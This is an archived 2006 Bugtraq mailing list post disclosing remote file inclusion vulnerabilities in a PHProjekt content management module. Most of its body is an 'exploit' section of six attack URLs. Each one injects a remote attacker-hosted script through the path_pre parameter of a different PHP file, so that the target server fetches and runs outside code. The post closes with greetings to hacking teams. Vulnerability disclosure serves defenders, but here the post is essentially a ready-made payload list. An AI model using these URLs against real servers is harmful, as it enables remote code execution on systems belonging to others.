bugtraq - PHProjekt v0.6.1 Remote File Inclusion Vulnerability (2)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: 21 Aug 2006 19:26:55 -0000
From: D3nGeR@...il.CoM
To: bugtraq@...urityfocus.com
Subject: PHProjekt v0.6.1  Remote File Inclusion Vulnerability (2)

########################################################################
#  Content management module for PHProjekt v0.6.1  Remote File Inclusion Vulnerability (2)
#
#
#  Found By: D3nGeR
# E-Mail: D3nGeR@...il.CoM
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/cm_lib.inc.php?path_pre=http://cmd.gif?
#  http://[Target]/[Path]/doc/br.edithelp.php?path_pre=http://cmd.gif?
#  http://[Target]/[Path]/doc/de.edithelp.php?path_pre=http://cmd.gif?
#  http://[Target]/[Path]/doc/ct.edithelp.php?path_pre=http://cmd.gif?
#  http://[Target]/[Path]/userrating.php?path_pre=http://cmd.gif?
#  http://[Target]/[Path]/listing.php?path_pre=http://cmd.gif?
########################################################################
# Greetz To:
# Team-Evil & Aria-Security Team & D.O.M Team & H@rD Luck Team & IHST TeaM
########################################################################